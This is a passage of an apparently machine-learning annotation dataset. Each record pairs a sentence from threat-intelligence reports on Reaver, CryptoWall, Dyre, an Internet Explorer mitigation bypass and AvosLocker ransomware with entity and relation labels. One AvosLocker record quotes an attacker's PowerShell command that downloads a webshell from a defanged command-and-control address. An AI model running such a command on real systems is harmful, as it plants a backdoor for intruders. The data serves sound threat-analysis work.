2016, Reaver has been used sparingly, with only a small number of unique samples identified.","entities":[{"id":45094,"label":"malware","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1684,"text":"Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.”","entities":[{"id":46875,"label":"identity","start_offset":36,"end_offset":54}],"relations":[],"Comments":[]} +{"id":1685,"text":"We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.","entities":[{"id":4998,"label":"malware","start_offset":18,"end_offset":24},{"id":5000,"label":"malware","start_offset":99,"end_offset":107},{"id":46876,"label":"TIME","start_offset":171,"end_offset":175}],"relations":[],"Comments":[]} +{"id":1686,"text":"While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family.","entities":[{"id":45095,"label":"malware","start_offset":20,"end_offset":26},{"id":5004,"label":"malware","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]} +{"id":1687,"text":"While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.","entities":[{"id":5005,"label":"malware","start_offset":10,"end_offset":18},{"id":46877,"label":"TIME","start_offset":79,"end_offset":83},{"id":46878,"label":"location","start_offset":246,"end_offset":253},{"id":46879,"label":"location","start_offset":258,"end_offset":265}],"relations":[{"id":244,"from_id":5005,"to_id":46878,"type":"targets"},{"id":246,"from_id":5005,"to_id":46879,"type":"targets"}],"Comments":[]} +{"id":1688,"text":" How it Works","entities":[],"relations":[],"Comments":[]} +{"id":1689,"text":"Emails were sent to targets containing malicious attachments.","entities":[{"id":45097,"label":"attack-pattern","start_offset":39,"end_offset":60}],"relations":[],"Comments":[]} +{"id":1690,"text":"Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.","entities":[{"id":46880,"label":"location","start_offset":112,"end_offset":132},{"id":46881,"label":"identity","start_offset":82,"end_offset":94},{"id":46882,"label":"attack-pattern","start_offset":53,"end_offset":72}],"relations":[],"Comments":[]} +{"id":1691,"text":"This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.","entities":[],"relations":[],"Comments":[]} +{"id":1692,"text":" How to Defend Against it These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.","entities":[{"id":45098,"label":"attack-pattern","start_offset":106,"end_offset":132},{"id":45099,"label":"attack-pattern","start_offset":56,"end_offset":70},{"id":5021,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]} +{"id":1693,"text":"Security awareness is critical to avoid falling victim to such an attack.","entities":[],"relations":[],"Comments":[]} +{"id":1694,"text":" General email best practices: If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.","entities":[],"relations":[],"Comments":[]} +{"id":1695,"text":"Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them","entities":[],"relations":[],"Comments":[]} +{"id":1696,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1697,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1698,"text":"For a moment, put yourself in the shoes of a cyber criminal.","entities":[],"relations":[],"Comments":[]} +{"id":1699,"text":"You’ve collected an array of tools (malware), built up your infrastructure (command and control (C2) servers) and you have a process to make money off your hard work.","entities":[],"relations":[],"Comments":[]} +{"id":1700,"text":"You wake up on Monday morning and the domains your carefully built malware uses for command and control are shut down.","entities":[],"relations":[],"Comments":[]} +{"id":1701,"text":"Some security researcher has taken control of them, completely halting your operation.","entities":[],"relations":[],"Comments":[]} +{"id":1702,"text":"This would certainly be good news to anyone reading this blog, but for the criminal it’s a big setback and source of frustration.","entities":[],"relations":[],"Comments":[]} +{"id":1703,"text":"These kinds of takedowns are the impetus for some of the most impressive developments in malware technology over the last decade.","entities":[],"relations":[],"Comments":[]} +{"id":1704,"text":" Once attackers have infected a PC through some exploit or social engineering, one of their major challenges is keeping control of that system.","entities":[],"relations":[],"Comments":[]} +{"id":1705,"text":"Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.","entities":[],"relations":[],"Comments":[]} +{"id":1706,"text":"Many malware authors have taken to building complex mechanisms to ensure that their malware is resistant to these kind of blocks and takedowns.","entities":[],"relations":[],"Comments":[]} +{"id":1707,"text":"Some of the more innovative mechanisms include: These mechanisms are often only used when the primary (and simpler) C2 mechanism has been shut down, but their use makes shutting down a botnet much more challenging.","entities":[],"relations":[],"Comments":[]} +{"id":1708,"text":" Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza\/Dyre.","entities":[{"id":46883,"label":"malware","start_offset":61,"end_offset":75},{"id":46884,"label":"malware","start_offset":80,"end_offset":86},{"id":46885,"label":"malware","start_offset":87,"end_offset":91}],"relations":[{"id":247,"from_id":46884,"to_id":46885,"type":"duplicate-of"}],"Comments":[]} +{"id":1709,"text":"CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.","entities":[{"id":5075,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} +{"id":1710,"text":"The attacker then charges a ransom (normally around $500) to give up the key that will unlock the files.","entities":[],"relations":[],"Comments":[]} +{"id":1711,"text":" In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.","entities":[{"id":5083,"label":"tools","start_offset":44,"end_offset":47},{"id":46886,"label":"TIME","start_offset":4,"end_offset":11},{"id":46887,"label":"malware","start_offset":13,"end_offset":27}],"relations":[{"id":248,"from_id":46887,"to_id":5083,"type":"uses"}],"Comments":[]} +{"id":1712,"text":"In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.","entities":[{"id":5086,"label":"malware","start_offset":60,"end_offset":70},{"id":5085,"label":"tools","start_offset":35,"end_offset":38}],"relations":[{"id":249,"from_id":5086,"to_id":5085,"type":"uses"}],"Comments":[]} +{"id":1713,"text":"In the past few weeks we've seen another anonymity network, I2P, being abused by both the latest version of CryptoWall (3.0) and the Dyre banking Trojan.","entities":[{"id":45100,"label":"malware","start_offset":108,"end_offset":124},{"id":45101,"label":"malware","start_offset":133,"end_offset":152},{"id":45102,"label":"SOFTWARE","start_offset":60,"end_offset":63},{"id":5088,"label":"malware","start_offset":108,"end_offset":118}],"relations":[],"Comments":[]} +{"id":1714,"text":" While I2P is far less popular than Tor, it provides similar functionality to the user.","entities":[{"id":5091,"label":"tools","start_offset":36,"end_offset":39},{"id":46888,"label":"SOFTWARE","start_offset":7,"end_offset":10}],"relations":[],"Comments":[]} +{"id":1715,"text":"I2P is an overlay network on top of the Internet that creates encrypted links between nodes that are running the I2P software.","entities":[{"id":46889,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":46890,"label":"SOFTWARE","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1716,"text":"I2P users can access specific I2P services that are only accessible on I2P, or access Internet resources without exposing their IP address. In the case of CryptoWall 3.0, the malware is attempting to access multiple .i2p resources only accessible through I2P, also known as “eepSites.” The CryptoWall 3.0 uses I2P in the same way CryptoWall 2.0 used Tor, to give victims access to a decrypting service to get their files back.","entities":[{"id":45105,"label":"SOFTWARE","start_offset":71,"end_offset":74},{"id":45104,"label":"SOFTWARE","start_offset":30,"end_offset":33},{"id":45106,"label":"malware","start_offset":156,"end_offset":170},{"id":45107,"label":"SOFTWARE","start_offset":256,"end_offset":260},{"id":45108,"label":"malware","start_offset":292,"end_offset":306},{"id":45110,"label":"SOFTWARE","start_offset":312,"end_offset":315},{"id":45111,"label":"malware","start_offset":332,"end_offset":346},{"id":45103,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":5104,"label":"tools","start_offset":352,"end_offset":355}],"relations":[{"id":250,"from_id":45111,"to_id":5104,"type":"uses"},{"id":252,"from_id":45108,"to_id":45111,"type":"related-to"},{"id":253,"from_id":45106,"to_id":45107,"type":"uses"},{"id":251,"from_id":45108,"to_id":45110,"type":"uses"}],"Comments":[]} +{"id":1717,"text":" The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.","entities":[{"id":46891,"label":"malware","start_offset":5,"end_offset":24},{"id":46892,"label":"SOFTWARE","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]} +{"id":1718,"text":"These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.","entities":[{"id":46893,"label":"malware","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1719,"text":"the following IP address are known Dyre C2 servers.","entities":[{"id":45113,"label":"Infrastucture","start_offset":35,"end_offset":50}],"relations":[],"Comments":[]} +{"id":1720,"text":" It’s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism. To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.","entities":[{"id":5120,"label":"malware","start_offset":189,"end_offset":199},{"id":46894,"label":"malware","start_offset":180,"end_offset":184},{"id":46895,"label":"SOFTWARE","start_offset":149,"end_offset":152},{"id":46896,"label":"SOFTWARE","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]} +{"id":1721,"text":"While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.","entities":[{"id":46898,"label":"SOFTWARE","start_offset":116,"end_offset":119},{"id":46897,"label":"tools","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} +{"id":1722,"text":"Palo Alto Networks App-ID technology can identify I2P traffic as well 51 other tunneling applications.","entities":[{"id":45115,"label":"SOFTWARE","start_offset":50,"end_offset":53},{"id":5127,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1723,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1724,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1725,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1726,"text":"In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites – including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.","entities":[{"id":46901,"label":"SOFTWARE","start_offset":147,"end_offset":153},{"id":46903,"label":"identity","start_offset":20,"end_offset":38},{"id":46899,"label":"attack-pattern","start_offset":226,"end_offset":241},{"id":46900,"label":"SOFTWARE","start_offset":140,"end_offset":145},{"id":46902,"label":"SOFTWARE","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]} +{"id":1727,"text":" Here we explain this type of attack and what you should do.","entities":[],"relations":[],"Comments":[]} +{"id":1728,"text":"What is it?","entities":[],"relations":[],"Comments":[]} +{"id":1729,"text":"A method attackers use to target you using email that you might not know about.","entities":[],"relations":[],"Comments":[]} +{"id":1730,"text":"Why should I care, what can it do to me?","entities":[],"relations":[],"Comments":[]} +{"id":1731,"text":"Attackers can gain access to your personal and financial information.","entities":[],"relations":[],"Comments":[]} +{"id":1732,"text":"They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.","entities":[],"relations":[],"Comments":[]} +{"id":1733,"text":"How can I prevent it?","entities":[],"relations":[],"Comments":[]} +{"id":1734,"text":"Avoid clicking on links that you get in email.","entities":[],"relations":[],"Comments":[]} +{"id":1735,"text":"If you get an email and need to go to that website, type the address in your web browser yourself.","entities":[],"relations":[],"Comments":[]} +{"id":1736,"text":"If the link is an email from someone you know, you can also contact them to find out if they meant to send it, and if it is safe to visit.","entities":[],"relations":[],"Comments":[]} +{"id":1737,"text":"What causes it?","entities":[],"relations":[],"Comments":[]} +{"id":1738,"text":"Attackers know that people will click on links in email.","entities":[],"relations":[],"Comments":[]} +{"id":1739,"text":"Especially when you get an email from someone that looks like someone you trust.","entities":[],"relations":[],"Comments":[]} +{"id":1740,"text":"How does it work?","entities":[],"relations":[],"Comments":[]} +{"id":1741,"text":"Attackers send emails that appear to be from a person or company that you trust.","entities":[],"relations":[],"Comments":[]} +{"id":1742,"text":"These emails contain malicious links that, when clicked on, lead you to an attacker’s page.","entities":[],"relations":[],"Comments":[]} +{"id":1743,"text":"In addition to taking steps so the attacker’s page mimics a legitimate one, attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.","entities":[],"relations":[],"Comments":[]} +{"id":1744,"text":"Once you’re on the attacker’s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.","entities":[],"relations":[],"Comments":[]} +{"id":1745,"text":"In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:","entities":[],"relations":[],"Comments":[]} +{"id":1746,"text":"About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]} +{"id":1747,"text":"They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.","entities":[{"id":46904,"label":"identity","start_offset":24,"end_offset":71}],"relations":[],"Comments":[]} +{"id":1748,"text":"Got a topic you want us to write about for you, your friends, or your family?","entities":[],"relations":[],"Comments":[]} +{"id":1749,"text":"Email us at u42comms@paloaltonetworks.com.","entities":[{"id":45116,"label":"EMAIL","start_offset":12,"end_offset":41}],"relations":[],"Comments":[]} +{"id":1750,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1751,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1752,"text":"In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft’s Bounty Program.","entities":[{"id":45119,"label":"identity","start_offset":43,"end_offset":50},{"id":45120,"label":"identity","start_offset":52,"end_offset":63},{"id":45117,"label":"TIME","start_offset":3,"end_offset":11},{"id":45121,"label":"identity","start_offset":124,"end_offset":133},{"id":45118,"label":"identity","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1753,"text":"Yu later demonstrated his research at CanSecWest in March.","entities":[{"id":46905,"label":"identity","start_offset":0,"end_offset":2}],"relations":[],"Comments":[]} +{"id":1754,"text":"In his slides, he mentioned that a \"god mode\" of Internet Explorer could be turned on by a one byte overwrite.","entities":[{"id":46906,"label":"SOFTWARE","start_offset":49,"end_offset":66}],"relations":[],"Comments":[]} +{"id":1755,"text":"However, he had to heavily redact this information due to an agreement between himself and Microsoft.","entities":[{"id":45122,"label":"identity","start_offset":91,"end_offset":100}],"relations":[],"Comments":[]} +{"id":1756,"text":"After his slides were released, researchers began working to determine what the missing parts were.","entities":[],"relations":[],"Comments":[]} +{"id":1757,"text":"And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.","entities":[{"id":46908,"label":"identity","start_offset":28,"end_offset":36},{"id":46907,"label":"identity","start_offset":17,"end_offset":26},{"id":46909,"label":"location","start_offset":41,"end_offset":48}],"relations":[{"id":254,"from_id":46907,"to_id":46908,"type":"duplicate-of"},{"id":255,"from_id":46907,"to_id":46909,"type":"located-at"},{"id":256,"from_id":46908,"to_id":46909,"type":"located-at"}],"Comments":[]} +{"id":1758,"text":"Although the code was removed soon after posting, a copy was still maintained and used by Metasploit.","entities":[{"id":45123,"label":"tools","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]} +{"id":1759,"text":"Following this code, another researcher posted his VB script version using more advanced techniques.","entities":[],"relations":[],"Comments":[]} +{"id":1760,"text":"Yu Yang then pasted his shellcode that used similar methods to run arbitrary code, showing that the method Yuki Chen used is exactly the one that won Yu the $100,000 award.","entities":[{"id":46910,"label":"identity","start_offset":0,"end_offset":7},{"id":46911,"label":"identity","start_offset":107,"end_offset":116},{"id":46912,"label":"identity","start_offset":150,"end_offset":152}],"relations":[],"Comments":[]} +{"id":1761,"text":" The main idea of new exploitation technique is to alter a flag that is used to control the security setting of an ActiveX object.","entities":[],"relations":[],"Comments":[]} +{"id":1762,"text":"If an attacker could modify it, then any script can be run, such as downloading and executing a PE file, without any notification or alert.","entities":[],"relations":[],"Comments":[]} +{"id":1763,"text":"Further details were discussed in depth last month on Rapid7’s blog.","entities":[{"id":46913,"label":"identity","start_offset":53,"end_offset":60}],"relations":[],"Comments":[]} +{"id":1764,"text":"The most interesting aspect of this method is that it could bypass all existing mitigation techniques including DEP\/ASLR\/EMET, and it also defeats some academic methods such as Control Flow Integrity (CFI).","entities":[],"relations":[],"Comments":[]} +{"id":1765,"text":"So this raises another question: If there are no mitigation functions, do we have any other ways to defend against attacks similar to this?","entities":[],"relations":[],"Comments":[]} +{"id":1766,"text":" The first line of defense is the IPS.","entities":[],"relations":[],"Comments":[]} +{"id":1767,"text":"Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.","entities":[],"relations":[],"Comments":[]} +{"id":1768,"text":"To address such an issue, we’ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.","entities":[],"relations":[],"Comments":[]} +{"id":1769,"text":"Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet. When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.","entities":[],"relations":[],"Comments":[]} +{"id":1770,"text":"Only when attackers have the right to read\/write any address can they utilize either Flash or ActiveX methods to get code execution.","entities":[],"relations":[],"Comments":[]} +{"id":1771,"text":"If we went even further, all three vulnerabilities are Use-After-Free bugs.","entities":[],"relations":[],"Comments":[]} +{"id":1772,"text":"The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:","entities":[],"relations":[],"Comments":[]} +{"id":1773,"text":" Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.","entities":[],"relations":[],"Comments":[]} +{"id":1774,"text":"Using these operations, attackers are able to modify the length values to create an object with an incorrect size, which will allow for read and write operations to occur in memory that is not part of the vector object.","entities":[],"relations":[],"Comments":[]} +{"id":1775,"text":"The attackers can then use this object to perform further operations such as modification of security flag in ActiveX. To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.","entities":[],"relations":[],"Comments":[]} +{"id":1776,"text":"In WildFire, we added modules for web browser scripts and third party plugins such as Flash.","entities":[{"id":45125,"label":"SOFTWARE","start_offset":3,"end_offset":11},{"id":45126,"label":"SOFTWARE","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]} +{"id":1777,"text":"One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.","entities":[],"relations":[],"Comments":[]} +{"id":1778,"text":"If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.","entities":[],"relations":[],"Comments":[]} +{"id":1779,"text":"Using this method, we are able to provide length checking for Flash vector objects.","entities":[{"id":45127,"label":"SOFTWARE","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1780,"text":"This module validates the accessing behavior at runtime.","entities":[],"relations":[],"Comments":[]} +{"id":1781,"text":"If the length were suspicious, the detection module stops the malicious operation.","entities":[],"relations":[],"Comments":[]} +{"id":1782,"text":"Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.","entities":[{"id":45128,"label":"SOFTWARE","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]} +{"id":1783,"text":"Leave a comment below let us know what you think.","entities":[],"relations":[],"Comments":[]} +{"id":1784,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1785,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1786,"text":"We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable antivirus solutions and detection evasion.","entities":[{"id":5282,"label":"malware","start_offset":20,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1787,"text":"While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). ","entities":[{"id":5285,"label":"malware","start_offset":15,"end_offset":25},{"id":46915,"label":"FILEPATH","start_offset":212,"end_offset":224},{"id":46916,"label":"SOFTWARE","start_offset":180,"end_offset":205},{"id":46917,"label":"location","start_offset":108,"end_offset":110}],"relations":[{"id":257,"from_id":5285,"to_id":46916,"type":"targets"},{"id":258,"from_id":5285,"to_id":46917,"type":"targets"}],"Comments":[]} +{"id":1788,"text":"In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.","entities":[{"id":45130,"label":"vulnerability","start_offset":103,"end_offset":112},{"id":45129,"label":"tools","start_offset":119,"end_offset":127},{"id":45131,"label":"vulnerability","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]} +{"id":1789,"text":"Infection chain Figure 1. AvosLocker infection chain According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit: Figure 2.","entities":[{"id":5293,"label":"malware","start_offset":31,"end_offset":41},{"id":46920,"label":"vulnerability","start_offset":127,"end_offset":178}],"relations":[{"id":260,"from_id":5293,"to_id":46920,"type":"exploits"}],"Comments":[]} +{"id":1790,"text":"The ADSS exploit abusing CVE-2021-40539 Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.","entities":[{"id":46921,"label":"vulnerability","start_offset":25,"end_offset":39},{"id":46922,"label":"malware","start_offset":4,"end_offset":8}],"relations":[{"id":261,"from_id":46922,"to_id":46921,"type":"exploits"}],"Comments":[]} +{"id":1791,"text":"However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.","entities":[{"id":45132,"label":"vulnerability","start_offset":129,"end_offset":143},{"id":45133,"label":"identity","start_offset":101,"end_offset":110}],"relations":[],"Comments":[]} +{"id":1792,"text":"The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class\/code.","entities":[{"id":46924,"label":"FILEPATH","start_offset":75,"end_offset":83},{"id":46923,"label":"FILEPATH","start_offset":99,"end_offset":110}],"relations":[],"Comments":[]} +{"id":1793,"text":"Mapping the infection","entities":[],"relations":[],"Comments":[]} +{"id":1794,"text":"The ADSS JAVA component (C:\\ManageEngine\\ADSelfService Plus\\jre\\bin\\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.","entities":[{"id":45134,"label":"FILEPATH","start_offset":25,"end_offset":76},{"id":45135,"label":"FILEPATH","start_offset":87,"end_offset":96}],"relations":[],"Comments":[]} +{"id":1795,"text":"Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.","entities":[{"id":46925,"label":"SOFTWARE","start_offset":6,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1796,"text":" Figure 3. Remotely executing an HTA file from the C&C server.","entities":[],"relations":[],"Comments":[]} +{"id":1797,"text":"Screenshots taken from Trend Micro Vison One.","entities":[{"id":45136,"label":"SOFTWARE","start_offset":23,"end_offset":44}],"relations":[],"Comments":[]} +{"id":1798,"text":" Figure 4. HTA file connecting to the C&C ","entities":[],"relations":[],"Comments":[]} +{"id":1799,"text":"A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.","entities":[],"relations":[],"Comments":[]} +{"id":1800,"text":"The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.","entities":[{"id":45137,"label":"tools","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} +{"id":1801,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} +{"id":1802,"text":"Obfuscated PowerShell script contains a shellcode","entities":[{"id":5314,"label":"tools","start_offset":11,"end_offset":21}],"relations":[],"Comments":[]} +{"id":1803,"text":" The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe \/c powershell -command Invoke-WebRequest -Uri hxxp:\/\/xx.xx.xx.xx\/subshell.aspx -OutFile \/ManageEngine\/ADSelfService Plus\/webapps\/adssp\/help\/admin-guide >.","entities":[{"id":45139,"label":"SOFTWARE","start_offset":44,"end_offset":48},{"id":45140,"label":"Infrastucture","start_offset":67,"end_offset":77},{"id":45141,"label":"URL","start_offset":152,"end_offset":184},{"id":45138,"label":"tools","start_offset":8,"end_offset":18},{"id":45142,"label":"FILEPATH","start_offset":194,"end_offset":257},{"id":5318,"label":"tools","start_offset":109,"end_offset":119},{"id":5317,"label":"tools","start_offset":98,"end_offset":105}],"relations":[],"Comments":[]} +{"id":1804,"text":"According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker.","entities":[{"id":46927,"label":"SOFTWARE","start_offset":69,"end_offset":73},{"id":46926,"label":"identity","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1805,"text":"The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.","entities":[{"id":5324,"label":"tools","start_offset":83,"end_offset":93},{"id":5325,"label":"tools","start_offset":106,"end_offset":116},{"id":46929,"label":"tools","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]} +{"id":1806,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]} +{"id":1807,"text":"Gather system information The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.","entities":[],"relations":[],"Comments":[]} +{"id":1808,"text":" Figure 7. Executed with the \/domain argument to collect username information Figure 8.","entities":[],"relations":[],"Comments":[]} +{"id":1809,"text":"query user information for session data ","entities":[],"relations":[],"Comments":[]} +{"id":1810,"text":"The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.","entities":[{"id":46930,"label":"tools","start_offset":4,"end_offset":14},{"id":46931,"label":"tools","start_offset":71,"end_offset":81}],"relations":[{"id":262,"from_id":46930,"to_id":46931,"type":"downloads"}],"Comments":[]} +{"id":1811,"text":" Figure 9. The PowerShell downloading and installing AnyDeskMSI ","entities":[{"id":5340,"label":"tools","start_offset":19,"end_offset":29},{"id":46932,"label":"tools","start_offset":57,"end_offset":67}],"relations":[{"id":263,"from_id":5340,"to_id":46932,"type":"downloads"}],"Comments":[]} +{"id":1812,"text":"We observed that a new user account was created, added to the current domain, and included in the administrator group.","entities":[],"relations":[],"Comments":[]} +{"id":1813,"text":"This ensures the attacker can have administrative rights to the infected system.","entities":[],"relations":[],"Comments":[]} +{"id":1814,"text":"The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.","entities":[],"relations":[],"Comments":[]} +{"id":1815,"text":" Figure 10. Creating a new account with admin rights Figure 11. Checking for antivirus processes running During the scan, we observed an attempt to terminate security products initiated via TaskKill.","entities":[],"relations":[],"Comments":[]} +{"id":1816,"text":"Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.","entities":[{"id":46933,"label":"SOFTWARE","start_offset":24,"end_offset":46}],"relations":[],"Comments":[]} +{"id":1817,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]} +{"id":1818,"text":"Terminating security products running Tools and functions","entities":[],"relations":[],"Comments":[]} +{"id":1819,"text":"Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.","entities":[{"id":46934,"label":"tools","start_offset":77,"end_offset":87},{"id":46936,"label":"attack-pattern","start_offset":91,"end_offset":113},{"id":46937,"label":"attack-pattern","start_offset":118,"end_offset":143}],"relations":[{"id":265,"from_id":46934,"to_id":46936,"type":"uses"},{"id":266,"from_id":46934,"to_id":46937,"type":"uses"}],"Comments":[]} +{"id":1820,"text":"The tools transferred using AnyDesk are: Netscan: To scan for other endpoints Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints Hacking tools Mimikatz and Impacket: For lateral movement PDQ deploy: For mass deployment of malicious script to multiple endpoints Aswarpot.sys: For disabling defense solutions.","entities":[{"id":46938,"label":"tools","start_offset":28,"end_offset":35},{"id":46944,"label":"tools","start_offset":158,"end_offset":166},{"id":46951,"label":"attack-pattern","start_offset":294,"end_offset":321},{"id":46940,"label":"tools","start_offset":79,"end_offset":83},{"id":46942,"label":"FILEPATH","start_offset":85,"end_offset":98},{"id":46947,"label":"tools","start_offset":171,"end_offset":179},{"id":46939,"label":"tools","start_offset":42,"end_offset":49},{"id":46943,"label":"vulnerability","start_offset":113,"end_offset":122},{"id":46950,"label":"FILEPATH","start_offset":276,"end_offset":288},{"id":46948,"label":"attack-pattern","start_offset":185,"end_offset":201},{"id":46949,"label":"attack-pattern","start_offset":218,"end_offset":253},{"id":46953,"label":"tools","start_offset":202,"end_offset":212},{"id":46956,"label":"tools","start_offset":276,"end_offset":284},{"id":46955,"label":"attack-pattern","start_offset":104,"end_offset":108}],"relations":[{"id":272,"from_id":46938,"to_id":46947,"type":"downloads"},{"id":267,"from_id":46938,"to_id":46939,"type":"downloads"},{"id":268,"from_id":46938,"to_id":46940,"type":"downloads"},{"id":269,"from_id":46940,"to_id":46942,"type":"uses"},{"id":271,"from_id":46938,"to_id":46944,"type":"downloads"},{"id":273,"from_id":46938,"to_id":46953,"type":"downloads"},{"id":276,"from_id":46938,"to_id":46956,"type":"downloads"}],"Comments":[]} +{"id":1821,"text":"We noted that it can disable a number of antivirus products, previously identified by Aon’s 